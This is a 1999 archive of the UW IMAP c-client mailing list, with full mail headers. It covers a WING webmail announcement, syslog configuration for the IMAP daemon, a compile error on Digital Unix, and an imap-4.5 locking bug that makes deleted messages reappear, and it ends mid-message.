Oxford University, WING also has these features: * Users can manage their account via the WING interface. This includes changing passwords, querying disk usage of mailboxes and disk quota an setting mail forwarding and "vacation" messages. * Users can create address books which can be browsed, searched and shared in an ACL controlled manner with chosen lists of other users and groups. * WING server nodes can be added or removed transparently and can be taken down for upgrades without affecting user service. * There are a few web-based admin tools for querying the status of the WING cluster and its users. REQUIREMENTS In its current state, WING requires many other pieces of software to function. Future versions may be easier to install, configure and maintain but this one requires the attention of an experienced system administrator familiar with Apache/mod_perl, Perl and SQL databases. It was also developed primarily for Linux and other platforms may have to add extra Perl code to make up for missing features. For configuring a mail cluster and its associated features (currently undocumented), the administrator will also need to know about network configuration, firewalling, NFS, automount, named and exim. AVAILABILITY Wing will shortly be available from your favourite CPAN site as modules/by-authors/Malcolm_Beattie/wing-0.8.tar.gz and is available right now from its home site in tar.gz form ftp://ftp.ox.ac.uk/pub/perl/wing-0.8.tar.gz or (better) source RPM form ftp://ftp.ox.ac.uk/pub/linux/SRPMS/wing-0.8-1.src.rpm or "binary" (noarch) RPM form for Red Hat 5.x Linux ftp://ftp.ox.ac.uk/pub/linux/RPMS/noarch/wing-0.8-1.noarch.rpm Wing depends on many other pieces of software and Perl modules, most of which are available from CPAN, a couple only from the home site mentioned above. SUPPORT There isn't any official support. There is a mailing list called "wing-admin" where those who use or want to use WING can discuss things. The list is a majordomo list. To subscribe, send the following message *body* (the subject line is irrelevant and ignored) subscribe wing-admin to majordomo@maillist.ox.ac.uk. To unsubscribe again send the message body "unsubscribe wing-admin" to the same address. To send messages to the list, mail to wing-admin@maillist.ox.ac.uk (only subscribers can send to the list). --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 1 08:18:03 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jun 1999 08:18:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA15972 for ; Tue, 1 Jun 1999 08:18:02 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA24326; Tue, 1 Jun 1999 08:18:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA16507; Tue, 1 Jun 1999 08:17:10 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA36630 for ; Tue, 1 Jun 1999 08:16:12 -0700 Received: from wheelo.gsfc.nasa.gov (wheelo.gsfc.nasa.gov [128.183.50.20]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA27606 for ; Tue, 1 Jun 1999 08:16:12 -0700 Received: from ssbuv.gsfc.nasa.gov (ssbuv.gsfc.nasa.gov [128.183.108.99]) by wheelo.gsfc.nasa.gov (8.8.8/8.8.8) with ESMTP id LAA13120 for <@wheelo.gsfc.nasa.gov:c-client@u.washington.edu>; Tue, 1 Jun 1999 11:16:50 -0400 (EDT) Received: from zoyd by ssbuv.gsfc.nasa.gov via SMTP (980427.SGI.8.8.8/930416.SGI.AUTO) for id LAA05395; Tue, 1 Jun 1999 11:07:19 -0400 (EDT) Message-Id: <3.0.3.32.19990601111610.009f85a0@ssbuv> Date: Tue, 01 Jun 1999 11:16:10 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Scott J. Janz" To: c-client@u.washington.edu Subject: disable syslogging Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: janz@ssbuv X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there anyway of disabling login/logout messages to the syslog in the UW server (4.5rev1) (irix os)? thanks, -scott -------------------- Dr. Scott J.Janz Joint Center for Earth Systems Technology/UMBC janz@research.umbc.edu NASA Goddard Space Flight Center janz@ssbuv.gsfc.nasa.gov CODE 916 Greenbelt MD 20771 ph: 301-614-5987 fax: 301-614-5903 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 1 09:49:40 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jun 1999 09:49:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA01644 for ; Tue, 1 Jun 1999 09:49:38 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA32766; Tue, 1 Jun 1999 09:49:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA29565; Tue, 1 Jun 1999 09:48:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA33780 for ; Tue, 1 Jun 1999 09:48:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wml@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA17907 for ; Tue, 1 Jun 1999 09:48:12 -0700 Message-Id: Date: Tue, 1 Jun 1999 09:47:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Scott J. Janz" Cc: c-client@u.washington.edu Subject: re: disable syslogging In-Reply-To: <3.0.3.32.19990601111610.009f85a0@ssbuv> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 01 Jun 1999 11:16:10 -0400, Scott J. Janz wrote: > Is there anyway of disabling login/logout messages to the syslog in the UW > server (4.5rev1) (irix os)? Modify the source code? This is an unusual request -- usually, folks want more syslogging, not less! From pinedev@shivax2.cac.washington.edu Tue Jun 1 10:45:25 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jun 1999 10:45:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA19982 for ; Tue, 1 Jun 1999 10:45:24 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA27954; Tue, 1 Jun 1999 10:45:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA23041; Tue, 1 Jun 1999 10:44:44 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA42072 for ; Tue, 1 Jun 1999 10:44:04 -0700 Received: from wolf.sneakerlabs.com (wolf.sneakerlabs.com [205.201.53.24]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18182 for ; Tue, 1 Jun 1999 10:44:04 -0700 Received: from wolf.sneakerlabs.com (jackal.sneakerlabs.com [205.201.53.25]) by wolf.sneakerlabs.com (8.8.7/8.8.7) with ESMTP id NAA08843; Tue, 1 Jun 1999 13:49:04 -0400 Message-Id: <37541D35.15EE37B0@wolf.sneakerlabs.com> Date: Tue, 01 Jun 1999 13:49:41 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Andrew Mickish To: "Scott J. Janz" Cc: c-client@u.washington.edu Subject: Re: disable syslogging References: <3.0.3.32.19990601111610.009f85a0@ssbuv> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, this is easily configurable with /etc/syslog.conf. IMAP daemon has calls to the library function syslog() scattered throughout the code. Each invocation of syslog() has an associated priority -- some are informational, some are authentication notices, some are errors, etc. All of them are from a 'mail' service. You can tell syslogd to log these messages to a specific log file, or ignore them completely. The following excerpt from an /etc/syslog.conf file tells syslogd to not log any mail messages to /var/log/messages, and to log *all* mail messages to /var/log/maillog. # Write daemon logs (like named) to a separate file daemon.info /var/log/named.log # Log everything (except auth, mail, and daemon) of level info or higher. # Don't log *any* authentication messages because that's handled later # Don't log daemon.info because that's handled in an earlier rule # Don't log mail.info because that's handled in a later rule *.info;daemon.!=info;mail.!=info;authpriv.!*;security.!=info /var/log/messages # The authpriv file has restricted access. authpriv.*;security.* /var/log/secure # Log all the mail messages in one place. mail.* /var/log/maillog Remember: 1) The destination files must exist before restarting syslog (syslog will not automatically create the log files, though it will append to them) 2) You must restart syslog before the changes take effect, by looking at the result of 'ps aux' or 'ps -ef' and doing 'kill -HUP ' For more info, see 'man syslog', 'man syslogd', and 'man syslog.conf'. --Andrew Mickish Software Engineer SneakerLabs, Inc. "Scott J. Janz" wrote: > > Is there anyway of disabling login/logout messages to the syslog in the UW > server (4.5rev1) (irix os)? > > thanks, > > -scott > -------------------- > > Dr. Scott J.Janz > Joint Center for Earth Systems Technology/UMBC janz@research.umbc.edu > NASA Goddard Space Flight Center janz@ssbuv.gsfc.nasa.gov > CODE 916 > Greenbelt MD 20771 > > ph: 301-614-5987 > fax: 301-614-5903 > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 14 12:51:35 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 1999 12:51:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA20879 for ; Mon, 14 Jun 1999 12:51:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA26373; Mon, 14 Jun 1999 12:51:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA02669; Mon, 14 Jun 1999 12:45:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA36208 for ; Mon, 14 Jun 1999 12:40:42 -0700 Received: from dribble.cme.nist.gov (dribble.cme.nist.gov [129.6.32.31]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id MAA01020 for ; Mon, 14 Jun 1999 12:40:41 -0700 Received: from titanic.cme.nist.gov (titanic.cme.nist.gov [129.6.32.10]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id PAA21006 for ; Mon, 14 Jun 1999 15:40:39 -0400 (EDT) Received: from torque.mel.cme.nist.gov (torque.mel.cme.nist.gov [129.6.71.120]) by titanic.cme.nist.gov (8.8.6/8.8.6) with ESMTP id PAA14170 for ; Mon, 14 Jun 1999 15:40:37 -0400 (EDT) Received: (from steveb@localhost) by torque.mel.cme.nist.gov (8.8.6/8.8.6) id PAA14725 for c-client@u.washington.edu; Mon, 14 Jun 1999 15:40:37 -0400 (EDT) Message-Id: <19990614154037.A14723@cme.nist.gov> Date: Mon, 14 Jun 1999 15:40:37 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've tried going through the archives to find something about this, with no luck so far. We have a Solaris server running the U of Washington IMAP server (4.5). It's in a very standard out-of-the-box configuration. (/var/mail, unix mailbox driver, paths relative to homedirs, etc.) My boss (Windows NT), several other NT users, and at least one Mac user (all using Netscape Messenger as the IMAP client - 4.5 or newer) are all having problems like the following: They will delete a message or a block of messages, and seconds later the messages will reappear. This does not happen all the time, but frequently enough to be highly annoying and time consuming. They are also seeing "compaction failed" messages when they try to compact their mailboxes (in Netscape-speak). I don't believe this is specific to my build or environment because another admin on the other side of campus (on his own subnet with his own servers and daemon build) said he was seeing the same thing from an SGI client running Netscape 4.5. (I used Netscape IMAP for several months from an SGI and never saw this as far as I can remember.) I'm just getting into the heart of the IMAP code and learning the protocol so that I'll have some idea where to start, but I wanted to see if this was a well-known problem before I spent too much time on it. It's not clear to me if this is a server or client issue yet. The only clue I have so far is a network snoop of an attempted mailbox compaction that failed. I think I can post that if need be. First glance shows an EXPUNGE failing on a "readonly" mailbox. I'm not sure I have enough context in the snoop to know which mailbox it's referring to. FWIW, it does not appear to be a permissions problem. Steve -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 14 13:16:04 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 1999 13:16:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA21461 for ; Mon, 14 Jun 1999 13:16:03 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA02342; Mon, 14 Jun 1999 13:16:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA08121; Mon, 14 Jun 1999 13:11:22 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA46524 for ; Mon, 14 Jun 1999 13:10:16 -0700 Received: from barney.spc.cc.tx.us (barney.spc.cc.tx.us [206.76.17.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA31152 for ; Mon, 14 Jun 1999 13:10:14 -0700 Received: from SPC.cc.tx.us (sup2.spc.cc.tx.us [206.76.22.14]) by barney.spc.cc.tx.us (8.9.3/8.9.3) with ESMTP id PAA12628 for ; Mon, 14 Jun 1999 15:11:04 -0500 (CDT) Message-Id: <376561D9.2BE14B78@SPC.cc.tx.us> Date: Mon, 14 Jun 1999 15:11:05 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Winders To: c-client@u.washington.edu Subject: 4.4, 4.5 build problems under DU 4.0E MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am running Digital Unix 4.0E. I have imap-4.6.BETA running successfully, but I am trying to build PHP with imap support. Unfortunately, Apache fails to compile with the PHP module (when imap has been enabled). It works fine without imap support. The PHP list suggested I try imap-4.4 as there as some issues with 4.5 that might still be in 4.6.BETA. So, I grabbed the 4.4 distribution but it fails to build and dies with this error (using make os4): cc -g3 -O2 -Olimit 1500 -DNFSKLUDGE -c news.c cc: Error: news.c, line 186: In this statement, "strcpy(...)" and "6" cannot be added. (noadd) lcl = strcpy (name,"#news.") + 6; ----------^ make[3]: *** [news.o] Error 1 imap-4.5 dies the same way, but 4.6.BETA compiles fine. I am using DEC's c complier as I am unable to add gcc to the system. Any suggestions on how to get 4.4 (or 4.5) to build successfully? Thanks! -- === Tim ------------------------------------------------------------------------- | Tim Winders, CNE, MCSE | Email: Tim.Winders@SPC.cc.tx.us | | Network Administrator | Phone: 806-894-9611 x 2369 | | South Plains College | Fax: 806-897-4711 | | Levelland, TX 79336 | | ------------------------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 14 13:31:37 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 1999 13:31:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA21851 for ; Mon, 14 Jun 1999 13:31:35 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA02734; Mon, 14 Jun 1999 13:31:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA04691; Mon, 14 Jun 1999 13:28:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA37184 for ; Mon, 14 Jun 1999 13:27:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gle@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id NAA26727 for ; Mon, 14 Jun 1999 13:27:31 -0700 Message-Id: Date: Mon, 14 Jun 1999 13:22:53 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Barber Cc: c-client@u.washington.edu Subject: (response to message of Mon, 14 Jun 1999 15:40:37 -0400) In-Reply-To: <19990614154037.A14723@cme.nist.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Jun 1999 15:40:37 -0400, Steve Barber wrote: > The only clue I have so far is a network snoop of an attempted mailbox > compaction that failed. I think I can post that if need be. > First glance shows an EXPUNGE failing on a "readonly" mailbox. I'm > not sure I have enough context in the snoop to know which mailbox > it's referring to. I think that you've found the smoking gun. I assume that you've already checked the permissions on the mailbox, and on both /tmp and /var/tmp (these should be 1777). There is a known bug in imap-4.5 toolkit which may be related to your problem. The standard UNIX format of mail only permits one session at a time to access any standard-format mailbox. The way things are supposed to work, when a second session opens the mailbox read-write, it kills the first session. The idea is that the first session is probably abandoned. In imap-4.5, the first session keeps a lock on the mailbox, and the second session goes read-only. This is caused by a bug -- it is not a designed change. The fix to this is to upgrade to the imap-4.6.BETA. ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z From pinedev@shivax2.cac.washington.edu Mon Jun 14 21:05:37 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 1999 21:05:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA29476 for ; Mon, 14 Jun 1999 21:05:36 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA12212; Mon, 14 Jun 1999 21:05:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id VAA23067; Mon, 14 Jun 1999 21:04:44 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA47354 for ; Mon, 14 Jun 1999 21:03:34 -0700 Received: from dribble.cme.nist.gov (dribble.cme.nist.gov [129.6.32.31]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id VAA19012 for ; Mon, 14 Jun 1999 21:03:33 -0700 Received: from titanic.cme.nist.gov (titanic.cme.nist.gov [129.6.32.10]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id AAA23358; Tue, 15 Jun 1999 00:03:31 -0400 (EDT) Received: from torque.mel.cme.nist.gov (torque.mel.cme.nist.gov [129.6.71.120]) by titanic.cme.nist.gov (8.8.6/8.8.6) with ESMTP id AAA24958; Tue, 15 Jun 1999 00:03:30 -0400 (EDT) Received: (from steveb@localhost) by torque.mel.cme.nist.gov (8.8.6/8.8.6) id AAA14753; Tue, 15 Jun 1999 00:03:30 -0400 (EDT) Message-Id: <19990615000329.A14743@cme.nist.gov> Date: Tue, 15 Jun 1999 00:03:30 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: reappearing messages In-Reply-To: ; from Mark Crispin on Mon, Jun 14, 1999 at 01:22:53PM -0700 References: <19990614154037.A14723@cme.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, Jun 14, 1999 at 01:22:53PM -0700, Mark Crispin wrote: > On Mon, 14 Jun 1999 15:40:37 -0400, Steve Barber wrote: > > The only clue I have so far is a network snoop of an attempted mailbox > > compaction that failed. I think I can post that if need be. > > First glance shows an EXPUNGE failing on a "readonly" mailbox. I'm > > not sure I have enough context in the snoop to know which mailbox > > it's referring to. > > I think that you've found the smoking gun. > > I assume that you've already checked the permissions on the mailbox, and on > both /tmp and /var/tmp (these should be 1777). Hm... the server is a Solaris 2.4 system and /tmp was 0777. Crucial to the problem at hand? > There is a known bug in imap-4.5 toolkit which may be related to your problem. > The standard UNIX format of mail only permits one session at a time to access > any standard-format mailbox. The way things are supposed to work, when a > second session opens the mailbox read-write, it kills the first session. The > idea is that the first session is probably abandoned. > > In imap-4.5, the first session keeps a lock on the mailbox, and the second > session goes read-only. This is caused by a bug -- it is not a designed > change. The implication here is that there are multiple sessions to the single mailbox. However, this has been known to happen when we KNOW no other systems are accessing the mailbox. So unless Messenger is opening multiple sessions (as Dimitri(?) suggested in another response), I don't believe this to be happening. Question: this is a production server. Is there any way to get useful logging information out of the imap daemon without breaking things for the user population? I.e. something along the lines of sending it a signal to increase/decrease logging level? > The fix to this is to upgrade to the imap-4.6.BETA. > ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z I'll get that into place ASAP and see if it helps. Thanks, Steve From pinedev@shivax2.cac.washington.edu Mon Jun 14 21:40:14 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 1999 21:40:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA29773 for ; Mon, 14 Jun 1999 21:40:12 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA04551; Mon, 14 Jun 1999 21:40:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id VAA23615; Mon, 14 Jun 1999 21:39:30 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA47300 for ; Mon, 14 Jun 1999 21:38:49 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id VAA21670 for ; Mon, 14 Jun 1999 21:38:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mccabe@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA10657; Mon, 14 Jun 1999 21:38:47 -0700 Message-Id: Date: Mon, 14 Jun 1999 21:35:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Barber Cc: c-client@u.washington.edu Subject: Re: reappearing messages In-Reply-To: <19990615000329.A14743@cme.nist.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Jun 1999 00:03:30 -0400, Steve Barber wrote: > Hm... the server is a Solaris 2.4 system and /tmp was 0777. Crucial > to the problem at hand? 0777 is OK, but generally 1777 is preferred for security. > So unless Messenger is opening multiple > sessions This can happen in Messenger. > Question: this is a production server. Is there any way to get useful > logging information out of the imap daemon without breaking things for > the user population? I.e. something along the lines of sending it a signal > to increase/decrease logging level? In general, all the information that you'd want in a log is transmitted to the IMAP client. During the SELECT command, the IMAP server said why the mailbox was opened read-only instead of read-write. > > The fix to this is to upgrade to the imap-4.6.BETA. > > ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z > I'll get that into place ASAP and see if it helps. OK. Let me know if this solves your problem. From pinedev@shivax2.cac.washington.edu Tue Jun 15 02:17:21 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 02:17:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA01121 for ; Tue, 15 Jun 1999 02:17:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA08519; Tue, 15 Jun 1999 02:17:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id CAA07043; Tue, 15 Jun 1999 02:16:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA32110 for ; Tue, 15 Jun 1999 02:15:35 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id CAA19497 for ; Tue, 15 Jun 1999 02:15:34 -0700 Received: from goofy-ex.icomverse.com (goofy-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id MAA12625 for ; Tue, 15 Jun 1999 12:15:31 +0300 Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Tue, 15 Jun 1999 12:14:58 +0300 Message-Id: <5C5BA40F28F1D211AAE200105A057CB0210F94@GOOFY_EX.QUANTUM.icomverse.com> Date: Tue, 15 Jun 1999 12:14:57 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: c-client@u.washington.edu Subject: RE: reappearing messages MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > From: Steve Barber [mailto:steveb@cme.nist.gov] > > In imap-4.5, the first session keeps a lock on the mailbox, > and the second > > session goes read-only. This is caused by a bug -- it is > not a designed > > change. > > The implication here is that there are multiple sessions to the single > mailbox. However, this has been known to happen when we KNOW no other > systems are accessing the mailbox. So unless Messenger is > opening multiple > sessions (as Dimitri(?) suggested in another response), I > don't believe > this to be happening. Messenger has been sighted opening a connection while a previous one was still active. As for the exact circumstances, that cause this situation, someone with @netscape.com in his e-mail will probably be able to answer. > Question: this is a production server. Is there any way to get useful > logging information out of the imap daemon without breaking things for > the user population? I.e. something along the lines of > sending it a signal > to increase/decrease logging level? There is no such thing. You can try 